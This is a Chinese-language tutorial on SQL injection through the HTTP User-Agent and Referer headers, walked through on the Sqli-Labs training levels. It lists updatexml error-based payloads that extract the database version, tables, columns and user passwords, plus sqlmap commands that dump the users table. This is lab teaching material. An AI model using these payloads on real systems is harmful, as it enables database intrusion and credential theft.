HTTP头中的SQL注入
1.HTTP头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入 中,用户提交的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头 中提交的内容很有可能就没有进行过滤。 例如HTTP 头中的User-Agent 、Referer 、Cookies 等。
2.HTTP User-Agent注入
就拿Sqli-Lab-Less18 这里的User-Agent 是可控的,因此存在HTTP User-Agent 注入
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
![在这里插入图片描述](https://img-blog.csdnimg.cn/b561e29817b345abadeb6e1ea599af11.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) Payload内容:
updatexml(xml_document,xpath_string,new_value):
第一个参数:XML 文档对象名称。 第二个参数:XPath 字符串。 第三个参数:替换查找到的符合条件的数据。
1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/00686842b99b4a479843ced5510d95ee.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 2.查看数据库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/a3e8f5de5b8d447d92d62ef4fe46d062.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)
3.得到数据库security ,获取数据表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/801481e47b644504b42b38ffd4eccf98.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 4.得到数据表emails,referers,uagents,users ,我们使用的是users 表,获取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/7b79c147f95f4777b829458a7a831e31.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 5.获取字段内容 当我们使用下面的语句时,会报错Subquery returns more than 1 row
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/bc06a93529ef409d9b36d2880d3b5cb2.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 返回的数据有多行,我们可以使用limit限制其只返回一条数据
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/68a1d35f0ba94d379c5d47976827b29d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)
3.HTTP Referer注入
以Sqli-Lab19 为例
' or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/212672f54f70477b8f735db2fe82e4df.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)
1.查看版本
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/7380703742aa46c0aef391747b57749f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 2.查看数据库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/ae80591c65614c429c79af87bfab4be3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 3.得到数据库security ,获取数据表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/b4404b98f78a481c8e0f0e852def52bf.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 4.得到数据表emails,referers,uagents,users ,我们使用的是users 表,获取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/52281db0384945b8a7d9d0b2b0c41a8b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 5.获取字段内容 当我们使用下面的语句时,会报错Subquery returns more than 1 row
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/6d5e00d89e60447b802f7dfd294b658f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 返回的数据有多行,我们可以使用limit 限制其只返回一条数据
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
![在这里插入图片描述](https://img-blog.csdnimg.cn/524630a987f942c6af6057260d252635.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)
4.sqlmap安全测试
抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*) 1.爆破数据库
python2 sqlmap.py -r 1.txt --dbs
![在这里插入图片描述](https://img-blog.csdnimg.cn/fb0624ff2ab14574908e4d0b184f9282.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 得到数据库信息 ![在这里插入图片描述](https://img-blog.csdnimg.cn/00ab5425eea84a6fbd3c335d9a69c6db.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)
2.爆破数据表
python2 sqlmap.py -r 1.txt -D security --tables
![在这里插入图片描述](https://img-blog.csdnimg.cn/84e453d96cef491fbe9b55229682059c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 得到数据表的信息
3.爆破字段及内容
python2 sqlmap.py -r 1.txt -D security -T users --dump
![在这里插入图片描述](https://img-blog.csdnimg.cn/a04a63f482e4431992753a15c94a6658.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16) 得到数据内容 ![在这里插入图片描述](https://img-blog.csdnimg.cn/5e2ae6057faa4f93991e204f7bed0bce.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)
PS
1.HTTP User-Agent注入 和HTTP Referer注入 属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码; 2.如果探测出是HTTP 头注入,在使用sqlmap 跑的过程中,在末尾加上星号(* ),可以提高渗透测试的效率
|